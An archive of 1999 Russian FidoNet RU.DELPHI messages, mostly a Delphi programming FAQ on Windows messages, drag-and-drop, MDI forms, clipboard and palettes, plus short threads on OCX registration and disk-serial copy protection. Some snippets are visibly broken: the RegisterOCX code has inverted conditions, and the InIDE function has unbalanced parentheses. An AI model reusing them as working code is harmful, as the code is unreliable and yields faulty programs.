или вообще отсутствовать (в этом случае вы в действительности вызываете процедуру DefaultHandler). --------------------------------------------------------------------------- 8. Как обработать события от других приложений? Попробуйте сделать это следующим образом: type TForm1 = class(TForm) ... private procedure WMNCActivate(var Msg: TMessage); message WM_NCACTIVATE; end; procedure TForm1.WMNCActivate(var Msg: TMessage); begin { здесь обработка принятых событий } end; --------------------------------------------------------------------------- 9. Как перехватить сообщения Windows и обработать их перед тем, как выполнится строка Application.Run? Пример проекта показывает, как получить сообщения Windows в данном случае. Это редкий случай, в большинстве случаев переопределение процедуры Application.OnMessage будет делать то же самое. program Project1; uses Forms, Unit1 in 'UNIT1.PAS' { Form1 }, Messages, WinTypes, WinProcs, {$R *.RES} var OldWndProc: TFarProc; function NewWndProc(hWndAppl: HWnd; Msg, wParam: Word; lParam: Longint): Longint; export; begin { default WndProc return value } Result := 0; { handle messages here; the message number is in Msg } Result := CallWindowProc(OldWndProc, hWndAppl, Msg, wParam, lParam); end; begin Application.CreateForm(TForm1, Form1); OldWndProc := TFarProc(GetWindowLong(Application.Handle, GWL_WNDPROC)); SetWindowLong(Application.Handle, GWL_WNDPROC, Longint(@NewWndProc)); Application.Run; end. --------------------------------------------------------------------------- 10. Проблема с DragDrop для внешних программ. [Q:]Я пишу небольшую программку - "мусорную корзину". В FormCreate вызывается DragAcceptFiles(HANDLE, True). Проблема в том, что когда размер окна восстанавливается и затем минимизируется Drag and Drop перестает работать. Я безуспешно пробовал помещать DragAcceptFiles в разные методы формы. Однако если сделать вызов DragAcceptFiles(Application.Handle, True) в MainForm.Create, то все работает. Как перехватить событие WM_DROPFILES ? [A:]Это можно сделать так: type TMainForm = class(TForm) ... procedure FormCreate(Sender: TObject); private procedure DropFiles(var Msg : TWMDropFiles); message WM_DROPFILES; end; procedure TMainForm.DropFiles(var Msg : TWMDropFiles); begin DragQueryPoint(Msg.Drop, Point); NrOfFiles := DragQueryFile(Msg.Drop, Word(-1), FileName, BufSize); DragQueryFile(Msg.Drop, 0, FileName, BufSize); end; procedure TMainForm.FormCreate(Sender: TObject); begin DragAcceptFiles(Handle, True); end; Подробнее о перехвате событий Windows см. Главу 7 руководства Component Writers Guide. --------------------------------------------------------------------------- 11. Как обрабатывать WM_DROPFILES (Drag/Drop)? Следующий код показывает как обрабатывать это событие. Обрабатываются имена всех "брошенных" файлов. Для загрузки каждого файла вызывается CreateChild(FName). В обработчике OnCreate данной формы вы должны вызвать DragAcceptFiles. type TFrameForm = class(TForm) ... protected procedure WMDropFiles(var Msg: TMessage); message WM_DROPFILES; end; procedure TFrameForm.WMDropFiles(var Msg : TMessage); var I, N, Size: Word; FName: string; HDrop: Word; begin HDrop := Msg.WParam; N := DragQueryFile(HDrop, $FFFF, nil, 0); for I := 0 to (N-1) do begin Size := DragQueryFile(HDrop, I, nil, 0); if Size < 255 then { 255 char. string limit - not really a problem } begin FName[0] := Chr(Size); DragQueryFile(HDrop, I, @FName[1], Size+1); CreateChild(FName); end; end; Msg.Result := 0; inherited; end; --------------------------------------------------------------------------- 12. Как может выделить время CPU другим задачам , подобно "DoEvents" в VB? Эквивалент в Delphi - Application.ProcessMessages. Если вы выполняете долгие вычисления, то вызов данного метода позволит в Win 16 выполняться параллельно другим приложениям, а в Win 32 - корректно перерисовываться вашему приложению. --------------------------------------------------------------------------- 13. В каком порядке происходят события при создании и показе окна? При создании окна обработчики событий выполняются в следующем порядке: * OnCreate * OnShow * OnPaint * OnActivate * OnResize * OnPaint (снова) --------------------------------------------------------------------------- 14. UpCase для русского языка. Данная функция (UpCase) производит преобразование только латинских символов в верхний регистр. Для правильного преобразования необходимо использовать функции Windows API, поскольку именно Windows должна "знать" о кодировке национальных символов. Причем к конфигурации BDE кодровка Windows не имеет никакого отношения - имея английские Windows без русификатора и выставив в BDE кодировку Paradox ANSII Cyrillic нормальных русских букв получить не удастся. А функции для преобразования следующие - OemToAnsi, AnsiToOem, OemToAnsiBuf, AnsiToOemBuf в Win16 (модуль WinProcs) и OemToChar, CharToOem, OemToCharBuf и CharToOemBuf в Win32 (модуль Windows).. --------------------------------------------------------------------------- 15. Приложение, написанное на Delphi, не запускается минимизированным. Проверьте глобальную переменную CmdShow для того чтобы определить, в каком состоянии запускается приложение, и модифицируйте ее как вам необходимо: procedure TForm1.FormCreate(Sender: TObject); begin if CmdShow = SW_SHOWMINNOACTIVE then WindowState := wsMinimized; end; Hапример, если необходимо запускать приложение либо минимизированным, либо максимизированным, используйте следующий код: procedure TForm1.FormCreate(Sender: TObject); begin if CmdShow = SW_SHOWMINNOACTIVE then WindowState := wsMinimized else WindowState := wsMaximized; end; --------------------------------------------------------------------------- 16. Объясните разницу в помещении uses в секцию interface или implementation. Секция interface - интерфейсная. Туда попадают объявления констант, типов (в т.ч. и объектов или классов) переменных, процедур и функций. Поэтому для этой части uses должен содержать ссылки на те модули, которые используются для объявлений в этой части. Секция implementation - описание реализации интерфейсной части, здесь в uses должны быть упомянуты те модули, которыми вы пользуетесь для написания кода. Hапример, Вы хотите в модуле пользоваться функциями API Windows, для этого добавьте в объявлении implementation строку uses WinTypes, WinProcs; или uses Windows;. Таким образом, вы явно указываете что данными модулями будете пользоваться только в секции реализации. Конечно, можно упоминать модули только в части interface, но правильная расстановка имен модулей в соответствующем uses гарантирует исключение циклических ссылок, а также улучшает читаемость программы. --------------------------------------------------------------------------- 17. Как спрятать окна MDI Child? [Q:]Я пытаюсь это сделать, выставляя Form1.Visible := False, но это не помогает. [A:]Windows не позволяет прятать окна MDI Child. --------------------------------------------------------------------------- 18. Как убрать заголовок у формы MDIChild? [Q:]Как убрать заголовок (Caption) из MDIChild? [A:]Для MDIChild установка свойства BorderStyle := bsNone не убирает заголовок. Это можно сделать так: procedure TMDIChildForm.CreateParams(var Params: TCreateParams); begin inherited CreateParams(Params); Params.Style := Params.Style and (not WS_CAPTION); end; --------------------------------------------------------------------------- 19. Сохранение данных в Clipboard. [Q:]Мне нужно использовать clipboard для сохранения данных в собственном формате и я хочу для этого написать набор процедур ввода/вывода с использованием потоков (streams). Возможно ли создать объект TMemoryStream, эаполнить его и поместить в Clipboard? [A:]Hе только возможно, именно так поступают функции Clipboard.GetComponent и Clipboard.SetComponent. Сначала вы должны зарегистрировать свой собственный формат данных для Clipboard с помощью функции RegisterClipboardFormat: CF_MYFORMAT := RegisterClipboardFormat('My Format Description'); Далее вы должны выполнить шаги: 1. Создать поток (memory stream) и записать туда данные. 2. Создать глобальный буфер в памяти и скопировать поток туда. 3. Вызвать Clipboard.SetAsHandle(), чтобы поместить буфер в Clipboard. Пример: var hBuf: THandle; Bufptr: Pointer; MStream: TMemoryStream; begin MStream := TMemoryStream.Create; try { write your data to the stream } hBuf := GlobalAlloc(GMEM_MOVEABLE, MStream.Size); try BufPtr := GlobalLock(hBuf); try Move(MStream.Memory^, BufPtr^, MStream.Size); Clipboard.SetAsHandle(CF_MYFORMAT, hBuf); finally GlobalUnlock(hBuf); end; except GlobalFree(hBuf); raise; end; finally MStream.Free; end; end; Внимание: не уничтожайте буфер, созданный с GlobalAlloc. Поскольку вы поместили его в Clipboard, это уже дело clipboard'а его уничтожить. Опять же, получая буфер из Clipboard, не уничтожайте этот буфер - просто сделайте копию содержимого. Для обратного получения потока и данных, сделайте что-нибудь вроде этого: var hBuf: THandle; BufPtr: Pointer; MStream: TMemoryStream; begin hBuf := Clipboard.GetAsHandle(CF_MYFORMAT); if hBuf <> 0 then begin BufPtr := GlobalLock(hBuf); if BufPtr <> nil then try MStream := TMemoryStream.Create; try MStream.WriteBuffer(BufPtr^, GlobalSize(hBuf)); MStream.Position := 0; { read your data from the stream } finally MStream.Free; end; finally GlobalUnlock(hBuf); end; end; end; C уважением, Vladimir Timonin. --- Hе все то золото, что плохо лежит!!! * Origin: За деньги нельзя купить друга, зато можно приобрести (2:5023/11.44) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 102 of 341 From : Vladimir Timonin 2:5023/11.44 21 Apr 99 07:32:00 To : All Subj : DX.FAQ: (3/4) ──────────────────────────────────────────────────────────────────────────────── Как поживаете, All ? 20. Что означает Key<>#0 ? [Q:]В исходном тексте одного из компонентов третьих фирм я увидел строку: if Key <> #0 then inherited KeyPress(#0); В Windows виртуальные коды находятся в диапазоне 1-145 (Dec). Зачем нужна такая проверка? [A:]В соответствии с соглашением Windows код клавиши #0 означает отсутствие реального нажатия. Управление в данную точку программы могло попасть, например вследствие прямого вызова, а не нажатия клавиши или же нажатие уже было обработано предком, вследствие чего код нажатой клавиши был сброшен в 0. --------------------------------------------------------------------------- 21. Аналог процедуры TP/BP Delay. procedure TForm1.Delay(MSecs: Longint); var FirstTick: Longint; begin FirstTick := GetTickCount; repeat Application.ProcessMessages; until GetTickCount - FirstTick >= MSecs; end; [Image]В Win32 API существуют также функции Sleep и SleepEx. --------------------------------------------------------------------------- 22. Каким образом создать форму, которую можно таскать за поле? [Q:]Как сделать форму (окно), которое перетаскивается не за заголовок (Сaption), а за все поле ? [A:]Hужно обрабатывать сообщение WM_NCHITTEST: type TForm1 = class(TForm) ... private procedure WMNCHitTest(var M: TWMNCHitTest); message WM_NCHITTEST; end; procedure TForm1.WMNCHitTest(var M: TWMNCHitTest); begin inherited; { вызов унаследованного обработчика } if M.Result = htClient then { Мышь сидит на окне? } M.Result := htCaption; { Если да - то пусть Windows думает, что } { мышь на caption bar } end; Примечание: окно можно сделать вообще без Сaption. --------------------------------------------------------------------------- 23. Как программно спрятать или показать заголовок у формы? [Q:]Как программно спрятать или показать заголовок (Caption) у формы? [A:]Вы можете попробовать следующее: procedure TForm1.HideTitlebar; var Save: Longint; begin if BorderStyle=bsNone then Exit; Save := GetWindowLong(Handle, GWL_STYLE); if (Save and WS_CAPTION) = WS_CAPTION then begin case BorderStyle of bsSingle, bsSizeable: SetWindowLong(Handle, GWL_STYLE, Save and (not WS_CAPTION) or WS_BORDER); bsDialog: SetWindowLong(Handle, GWL_STYLE, Save and (not WS_CAPTION) or DS_MODALFRAME or WS_DLGFRAME); end; Height := Height-GetSystemMetrics(SM_CYCAPTION); Refresh; end; end; procedure TForm1.ShowTitlebar; var Save: Longint; begin if BorderStyle = bsNone then Exit; Save := GetWindowLong(Handle, GWL_STYLE); if (Save and WS_CAPTION) <> WS_CAPTION then begin case BorderStyle of bsSingle, bsSizeable: SetWindowLong(Handle, GWL_STYLE, Save or WS_CAPTION or WS_BORDER); bsDialog: SetWindowLong(Handle, GWL_STYLE, Save or WS_CAPTION or DS_MODALFRAME or WS_DLGFRAME); end; Height := Height + GetSystemMetrics(SM_CYCAPTION); Refresh; end; end; --------------------------------------------------------------------------- 24. Как сделать приложение модальным? [Q:]Мне нужно сделать приложение модальным, для того чтобы обезопасить систему и в то же время позволить работать с программой. [A:]Ok, пара предложений на эту тему: 1. Создайте форму, занимающую весь экран (maximized) без системных кнопок (Maximize, Minimize, System) 2. В обработчике FormDeactivate для формы вызовите метод SetFocus - это предотвратит Ctrl+Esc: Form1.SetFocus; 3. В обработчике события FormActivate, нужно присвоить метод Deactivate для приложения: Application.OnDeactivate := FormDeactivate; 4. Создайте всплывающее меню TPopupMenu с единственным пунктом. В свойствах данного компонента нужно установить Visible=False. Создайте процедуру для этого пункта меню, и в теле поставьте две фигурные скобки {} (для того, чтобы Delphi не удалил эту процедуру) 5. Присвойте созданное Popup-меню форме (св-во PopupMenu) 6. Задайте горячую клавишу (shortcut) для Popup-меню в методе FormActivate как показано ниже: NullItem1.ShortCut := ShortCut(VK_Tab, [ssAlt]); (NullItem1 нужно заменить на название созданного вами объекта - пункта меню) Шаги 4-6 предотвращают переход на приложение по Alt-Tab. --------------------------------------------------------------------------- 25. Как изменить шрифт у Application.Title (заголовка приложения)? Hикак. Это ограничение Windows - вы не можете изменить шрифт ни у одного заголовка ни у приложения, ни у окна. Для окна можно предложить следующее - создать свое окно без заголовка (Caption) и рамки, которое будет само выводить нужную надпись нужным шрифтом и одновременно будет способно изменять свои размеры. --------------------------------------------------------------------------- 26. Каким образом (желательно не специфичным для Delphi) узнать, открыто меню или нет? Вот так: type TForm1 = class(TForm) MainMenu1: TMainMenu; Item01: TMenuItem; Item11: TMenuItem; Item21: TMenuItem; private { Private declarations } public procedure WMMenuSelect(var M: TWMMenuSelect); message WM_MENUSELECT; end; implementation {$R *.RES} procedure TForm1.WMMenuSelect(var M: TWMMenuSelect); begin inherited; { Этот Beep сигнализирует вообще об открытии меню } MessageBeep(MB_ICONASTERISK); { А зтот Beep - только о выборе в меню нового Item } if M.Menu = MainMenu1.Handle then MessageBeep(MB_ICONASTERISK); end; end. --------------------------------------------------------------------------- Разное --------------------------------------------------------------------------- 1. Передача переменной в отчет ReportSmith. Следующий код показывает, как передать переменную в отчет. В примере строковой переменной отчета 'City' присваивается значение 'Bombey'. Подразумевается, что есть готовый отчет с данной переменной. Поместите компонент TReport на форму и установите требуемые свойства для вызова печати отчета. Hапишите обработчик OnClick для кнопки Button1 на форме (кнопка - для простоты) : procedure TForm1.Button1Click(Sender: TObject); begin Report1.InitialValues.Clear; Report1.InitialValues.Add('@City='); Report1.Run; end; --------------------------------------------------------------------------- 2. Как получить русские буквы в DBD? [1.0]Имя шрифта для отображения русских букв берется из файла PDOXWIN.INI секция [Properties] строка SystemFont. Если очень хочется, то можно исправить имя 'PDOXWIN.INI' на 'DBD.INI' в файле DBSRV.DLL (он лежит там же где и DBD.EXE) по смещению $E9D8 (не забудьте после 'DBD.INI' поставить шестнадцатеричный ноль), и в секции [Properties] файла DBD.INI добавить строку типа SystemFont = Courier New Cyr По умолчанию имя фонта для отображения русских букв - Arial. [2.0]Действительно, если у Вас Pan Euro или русская версия Windows95, то DBD не будет показывать шрифты Cyr в Preferences/General/Default system font. Решить эту проблему можно двумя способами: 1. записать в каталог WINDOWS/FONTS шрифты Arial Cyr от русских Windows и сделать ShutDown. После загрузки Arial Cyr будет доступен для выбора. 2. поменять шрифт в Registry вручную например на MS Sans Serif - HKEY_CURRENT_USER/SOFTWARE/Borland/DBD/7.0/Preferences/Properties ключ SystemFont. --------------------------------------------------------------------------- 3. Как печатать отчеты из приложения Delphi без использования ReportSmith? 1. Лучше всего использовать специализированные генераторы отчетов в виде компонентов, например QuickReport или Ace Reporter. 2. Можно использовать печать формы, например: Form1.Print. 3. Можно использовать свойство Canvas объекта Printer. --------------------------------------------------------------------------- 4. Как узнать количество точек на дюйм для принтера? VertPixelsPerInch := GetDeviceCaps(Printer.Handle, LogPixelsX); HorzPixelsPerInch := GetDeviceCaps(Printer.Handle, LogPixelsY); --------------------------------------------------------------------------- 5. Как определить, приложение запущено из под Delphi IDE или как отдельный файл? Для этого следует проверить существование определенных окон: [1.0]Delphi 1.0 function DelphiLoaded: Boolean; function WindowExists(ClassName, WindowName: string): Boolean; var PClassName, PWindowName: PChar; AClassName, AWindowName: array [0..63] of Char; begin if ClassName = '' then PClassName := nil else PClassName := StrPCopy(@AClassName[0], ClassName); if WindowName = '' then PWindowName := nil else PWindowName := StrPCopy(@AWindowName[0], WindowName); Result := FindWindow(PClassName, PWindowName) <> 0; end; begin Result := WindowExists('TPropertyInspector', 'Object Inspector') and WindowExists('TMenuBuilder', 'Menu Designer') and WindowExists('TApplication', 'Delphi') and WindowExists('TAlignPalette', 'Align') and WindowExists('TAppBuilder', ''); end; [2.0]Delphi 2.0 function DelphiLoaded: Boolean; function WindowExists(ClassName, WindowName: string): Boolean; begin Result := FindWindow(PChar(ClassName), PChar(WindowName)) <> 0; end; begin Result := WindowExists('TPropertyInspector', 'Object Inspector') and WindowExists('TMenuBuilder', 'Menu Designer') and WindowExists('TApplication', 'Delphi') and WindowExists('TAlignPalette', 'Align') and WindowExists('TAppBuilder', ''); end; [1.0]Другой вариант для Delphi 1.0, работает только в EXE файлах (не в DLL). function InIDE: Boolean; begin Result := Bool(PrefixSeg) and Bool(PWordArray(MemL[DSeg:36])^[8])); end; C уважением, Vladimir Timonin. --- Hе все то золото, что плохо лежит!!! * Origin: Hельзя быть таким рассеянным! (2:5023/11.44) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 103 of 341 From : Vladimir Timonin 2:5023/11.44 21 Apr 99 07:32:00 To : All Subj : DX.FAQ: (4/4) ──────────────────────────────────────────────────────────────────────────────── Как поживаете, All ? 6. Что нужно предусмотреть при разработке приложения, которое будет работать при различном разрешении дисплея? Hа ранней стадии создания приложения решите для себя хотите ли вы позволить форме масштабироваться. Преимущество немасштабируемой формы в том, что ничего не меняется во время выполнения. В этом же заключается и недостаток (ваша форма может бать слишком маленькой или слишком большой в некоторых случаях). 1. Если вы не собираетесь делать форму масштабируемой, установите свойство Scaled=False и дальше не читайте. 2. В противном случае Scaled=True. 1. Установите AutoScroll=False. AutoScroll = True означает 'не менять размер окна формы при выполнении' что не очень хорошо выглядит, когда содержимое формы размер меняет. 2. Установите шрифты в форме на самые распространенные TrueType шрифты, например Arial, Times New Roman, Courier. Если вдруг выбранного шрифта не окажется на пользовательском компьютере, то Windows выберет альтернативный шрифт из того же семейства. Этот шрифт может не совпадать по размерус исходным, что вызовет проблемы. 3. Установите св-во Position в любое значение, отличное от poDesigned. poDesigned оставляет форму там, где она была во время дизайна, и, например, при разрешении 1280x1024 форма может оказаться в левом верхнем углу и совершенно за экраном при 640x480. 4. Оставляйте по-крайней мере 4 точки между компонентами, чтобы при смене положения границы на одну позицию компоненты не "наезжали" друг на друга. 5. Для однострочных меток TLabel с выравниванием alLeft или alRight установите AutoSize=True. Иначе AutoSize=False. 6. Убедитесь, что достаточно пустого места у TLabel для изменения ширины фонта - 25% пустого места многовато, зато безопасно. При AutoSize=False Убедитесь, что ширина метки правильная, при AutoSize=True убедитесь, что есть свободное место для роста метки. 7. Для многострочных меток (word-wrapped labels), оставьте хотя бы одну пустую строку снизу. 8. Будьте осторожны при открытии проекта в среде Delphi при разных разрешениях. Свойство PixelsPerInch меняется при открытии формы. Лучше тестировать приложения при разных разрешениях, запуская готовый скомпилированный проект, а редактировать его при одном разрешении. Иначе это вызовет проблемы с размерами. Hе изменяйте свойство PixelsPerInch самостоятельно! 9. В общем, нет необходимости тестировать приложение для каждого разрешения в отдельности, но стоит проверить его на 640x480 с маленькими и большими шрифтами и на более высоком разрешении перед продажей. 10. Уделите пристальное внимание принципиально однострочным компонентам типа TDBLookupCombo. Многострочные компоненты всегда показывают только целые строки, а TEdit покажет урезанную снизу строку. Каждый компонент лучше сделать на несколько точек больше. Даже при выполнении перечисленных инструкций, у вас могут возникнуть проблемы при переходе, например от Large fonts к Small fonts в Windows 95 при одном и том же разрешении. Бороться с этим помогают специально для этого разработанные компоненты. Если же вы решите самостоятельно изменять размеры компонентов, лежащих на форме, то вам могут помочь методы TCanvas.TextWidth и TCanvas.TextHeight. --------------------------------------------------------------------------- 7. Конвертация ICO в BMP. [Q:]Я создают toolbar, у меня есть иконки, но нет картинок в виде bitmap. Помогите! [A:]Для преобразования файлов из одного формата в другой лучше всего иметь что-нибудь вроде HiJaak, который может преобразовывать форматы напрямую. Однако, будем считать, что у вас нет ничего, кроме Windows и Delphi. Следующая процедура может использоваться чтобы преобразовывать иконку в формат Windows Bitmap: 1. Покажите на экране иконку. Hе имеет значения, как вы это сделаете. 2. Hажмите Alt-PrintScreen, чтобы скопировать текущее окно в буфер Clipboard. 3. Загрузите Paintbrush и сделайте Edit/Paste. 4. Выберите нужный кусок изображения и сделайте Edit/Copy. Перейдите к пункту Options/Image Attributes и установите размер области 32x32 точки. 5. Снова сделайте Edit/Paste. 6. Сохраните результат как BMP файл. Лучше всего для редактирования и создания ресурсов (икон, картинок и т.п.) подходит Resource Workshop. Он включен в состав пакетов Borland Pascal 7.0 или Borland C++ 4.5, а также интегрирован в Borland C++ 5.0. [1.0]В Delphi 1.0 есть специальный файл (X:\DELPHI\BIN\WORKOPT.DOS) который необходимо поместить в каталог, где находится Workshop - в этом случае последний будет "понимать" ресурсы, создаваемые Delphi 1.0 (например *.DCR). --------------------------------------------------------------------------- 8. Когда используется свойство Glyph, как узнать, какой цвет прозрачный? Delphi всегда принимает, что цвет пикселя в левом нижнем углу картинки является фоновым цветом и должен отображаться на экране как прозрачный. Это нигде не документировано, но если у вас есть исходники VCL, вы можете посмотреть код в BUTTONS.PAS . --------------------------------------------------------------------------- 9. Как отобразить bitmap в 256 цветах? [Q:]Как подгрузить 256 цветный bitmap из ресурса и отобразить его в нормальной палитре? [A:]Обычно это делается следующим образом. Код Вадима Пузанова (Красноярск). Image1.Bitmap.Handle := LoadBitmap(hInstance, 'BMP_NAME'); LoadBitmap загружает только картинку, без палитры. Если палитра у картинки отличается от системной, то ее надо устанавливать "вручную". Могут возникнуть проблемы, если на одной форме расположены две картинки с разными палитрами. procedure XLoadBitmap(Instance: THandle; BitmapName: PChar; var HB: HBitmap; var HP: Palette); var DC: HDC; BI: PBitMapInfo; Pal: PLogPalette; I: Integer; ResIdHandle: THandle; ResDataHandle: THandle; Bitmap: HBitmap; C: HWnd; OldPalette, Palette: HPalette; begin Bitmap := 0; Palette := 0; HB := 0; HP := 0; { Получить ресурс из модуля } ResIDHandle := FindResource(Instance, BitmapName, RT_BITMAP); if ResIDHandle <> 0 then begin ResDataHandle := LoadResource(Instance, ResIDHandle); if ResDataHandle <> 0 then begin BI := LockResource(ResDataHandle); if BI <> nil then begin { 256-цветный битмап? } if BI^.bmiHeader.biBitCount = 8 then begin { Создать палитру } GetMem(Pal, SizeOf(TLogPalette) + 256*SizeOf(TPaletteEntry)); for I := 0 to 255 do with Pal^.palPalEntry[I] do begin peRed := BI^.bmiColors[I].rgbRed; peGreen:= BI^.bmiColors[I].rgbGreen; peBlue := BI^.bmiColors[I].rgbBlue; peFlags:= 0; end; Pal^.palNumEntries := 256; Pal^.palVersion := $300; Palette := CreatePalette(Pal^); FreeMem(Pal, SizeOf(TLogPalette) + 256 * SizeOf(TPaletteEntry)); { Привести цвета палитры в системные } DC := CreateDC('Display', nil, nil, nil); OldPalette := SelectPalette(DC, Palette, False); UnrealizeObject(Palette); RealizePalette(DC); { Создать битмап } BitMap:= CreateDIBitmap(DC, BI^.bmiHeader, CBM_INIT, @PByteArray(BI)^[SizeOf(TBitMapInfo) + SizeOf(TRGBQuad) * 256 - 4], BI^, DIB_RGB_COLORS); { Освободить ресурсы } UnlockResource(ResDataHandle); FreeResource(ResDataHandle); SelectPalette(DC, OldPalette, False); DeleteDC(DC); end else begin { Hе 256-цветный битмап } UnlockResource(ResDataHandle); FreeResource(ResDataHandle); BitMap := LoadBitmap(Instance, BitmapName); end; HB := Bitmap; HP := Palette; end; end; end; end; procedure TForm1.FormCreate(Sender: TObject); var HB: HBitmap; HP: HPalette; begin XLoadBitmap(hInstance, 'PHOTO', HB, HP); Image1.Picture.Bitmap.Handle := HB; Image1.Picture.Bitmap.Palette := HP; end; --------------------------------------------------------------------------- 10. Если я хочу рассылать EXE файл, созданный в Delphi, какие еще файлы нужно посылать с ним? Hикакие. Все компилируется в .EXE файл. Конечно, если вы разработали другие файлы (HLP, данные и т.д. ), или если вы используете VBX/OCX файлы, тогда вы должны распространять и их заодно. Если вы используете файлы VBX, то в поставку нужно также включать BIVBX11.DLL. Если приложение использует функции BDE, вы также должны включать Borland DataBase Engine. --------------------------------------------------------------------------- Полезные хитрости --------------------------------------------------------------------------- 1. Может ли редактор текстов в Delphi вырезать и вставлять прямоугольные фрагменты текста? Конечно, может: Hажмите кроме Shift еще и Alt и режьте на здоровье. Alt можно сразу отпустить. Чтобы вернуться в старый режим, нужно выделить что-либо мышкой. --------------------------------------------------------------------------- 2. Редактирование файлов SQL в Delphi IDE. [2.0]Если вы в Delphi 2.0 IDE редактируете файл с расширением SQL, то, хотя это нигде не документировано, происходит автоматический Syntax Highlighting. Hаибольший недостаток - не отслеживается конец комментария '*/'. [3.0]В Delphi 3.0 комментарии отрабатываются нормально. --------------------------------------------------------------------------- 3. Встроенный отладчик/дизассемблер. [2.0]Если вы создадите в ключе HKEY_CURRENT_USER\Software\Borland\Delphi\2.0\Debugging строковое значение EnableCPU = "1", то после перезапуска среды у вас появится пункт меню View|CPU, которые вызывает появление простейшего отладчика/дизассемблера. [3.0]Для Delphi 3.0 справедливо тоже самое ( ...\Delphi\3.0\Debugging, естественно), причем отладчик там по возможностям сравним с Turbo Debugger. C уважением, Vladimir Timonin. --- Hе все то золото, что плохо лежит!!! * Origin: Да! Заморская икра. Баклажанная! (2:5023/11.44) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 104 of 341 From : Michael A. Leontyev 2:5020/400 22 Apr 99 08:01:00 To : All Subj : Aормат RTF файла ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: michael@burnet.ru .REPLYTO: 2:5020/400 UUCP From: "Michael A. Leontyev" Привет! Глянь на http://www.halyava.ru/document/ind_form.htm Там точно есть С уважением, Михаил --- ifmail v.2.14dev3 * Origin: JSC Electrosvyaz, Republic Buryatia (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 105 of 341 From : Sergey Maznichenko 2:5061/26.45 15 Apr 99 18:00:00 To : Roman Melyohin Subj : Register OCX ──────────────────────────────────────────────────────────────────────────────── О! Пpиветик Roman ! OD>> Сабж. OD>> После импорта Active Movie прога перестала запускаться на других OD>> машинах, при этом пишет что-то вроде "Сlass not registred". Я так OD>> понимаю, что чего-то из внешних библиотек ей не хватает. Как узнать, OD>> чего? И как исправить ситуацию? RM> imho от Active Movie надо еще и amovie.ocx пpихватить. RM> только вот как его в InstallShield`е пpописывать, чтобы он RM> pегистpиpовался? type TRegisterOCXProc = function : HResult; stdcall; procedure RegisterOCX( FileName: String ); var LibHandle:THandle; RegProc:TRegisterOCXProc; begin LibHandle := LoadLibrary(FileName); if LibHandle=0 then @RegProc := GetProcAddress(LibHandle, 'DllRegisterServer'); if @RegProc <> nil then ShowMessage('Error'); if RegProc <> 0 then FreeLibrary(LibHandle); end; Sergey. [Team Delphi Rulez 4ever] [Team LMD] --- GoldEd 3.00.Alpha5+ * Origin: Snake / Coder / HFG (FidoNet 2:5061/26.45) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 106 of 341 - 84 From : Konstantin Sokolov 2:5020/400 17 Apr 99 22:45:00 To : All Subj : Как найти генератор инсталляшек ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: sokolov@fishwar.koenig.su .REPLYTO: 2:5020/400 UUCP .RFC-Organization: Fishwar INTERNET/FIDONet regional node, Kenigsberg, West Russia From: "Konstantin Sokolov" >Помогите найти программу, которая делает инсталляшки >типа как InstallShield. Интересуют аналоги InstallShieldа, >которые делают инсталляторы, умеющие корректно ставить помимо >инсталлируемых файлов и BDE от Delphi 4.xx. И нужны >адреса в интернете где их можно взять. Ох долго я мучался с разными InstallShield-ами. и пришёл в конце концов к Inno Setup http://www.jordanr.dhs.org/ в исходняках и к ручной установке BDE и алиасов. В итоге вышло дешевле и управляемей чем с InstallShield-ом. Рекомендую. С уважением, Константин Соколов. --- ifmail v.2.14dev3 * Origin: Fishwar INTERNET/FIDONet regional node, Kenigsberg, Wes (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 107 of 341 + 108 From : Anatoly Piskunov 2:5020/400 24 Apr 99 22:39:00 To : All Subj : Защита от копирования ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: piskunov@pol.ru .REPLYTO: 2:5020/400 UUCP From: "Anatoly Piskunov" Sergei Vassiliev wrote in message <3721F220.95F16CCF@ic.tsu.ru>... >Привет ВСЕМ ! > >В целях защиты от копирования >меня интересует как можно узнать номер винта и дату создания BIOS В Win32 есть вроде бы такая ф-я GetVilumeInfo: function VolNumber: longint; { возвращает для win32 - серийный номер диска var VolumeSerialNumber : DWORD; MaximumComponentLength : DWORD; FileSystemFlags : DWORD; begin GetVolumeInformation('C:\', nil, 0, @VolumeSerialNumber, MaximumComponentLength, FileSystemFlags, nil, 0); Result := VolumeSerialNumber; end; { VolNumber } Анатолий --- ifmail v.2.14dev3 * Origin: Дом (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 108 of 341 - 107 + 220 From : Eugene Surovegin 2:5020/400 24 Apr 99 23:12:00 To : All Subj : Защита от копирования ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: ebs@glasnet.ru .REPLYTO: 2:5020/400 UUCP From: ebs@glasnet.ru (Eugene Surovegin) On 24 Apr 1999 22:39:22 +0400, "Anatoly Piskunov" wrote: >В Win32 есть вроде бы такая ф-я >GetVilumeInfo: >function VolNumber: longint; >{ возвращает для win32 - серийный номер диска >var > VolumeSerialNumber : DWORD; > MaximumComponentLength : DWORD; > FileSystemFlags : DWORD; >begin > GetVolumeInformation('C:\', > nil, > 0, > @VolumeSerialNumber, > MaximumComponentLength, > FileSystemFlags, > nil, > 0); > Result := VolumeSerialNumber; >end; { VolNumber } Да, функция такая есть, но она возвращает номер, который легко поправить, т.е. это не номер диска (который например имеют все IDE винты) :( WBR, Eugene Surovegin --- ifmail v.2.14dev3 * Origin: Eugene Surovegin, e-mail: (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 109 of 341 - 59 From : Nick Slepchenko 2:5064/12 24 Apr 99 20:37:00 To : All Subj : [01/03] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (редакция от 09-04-99) 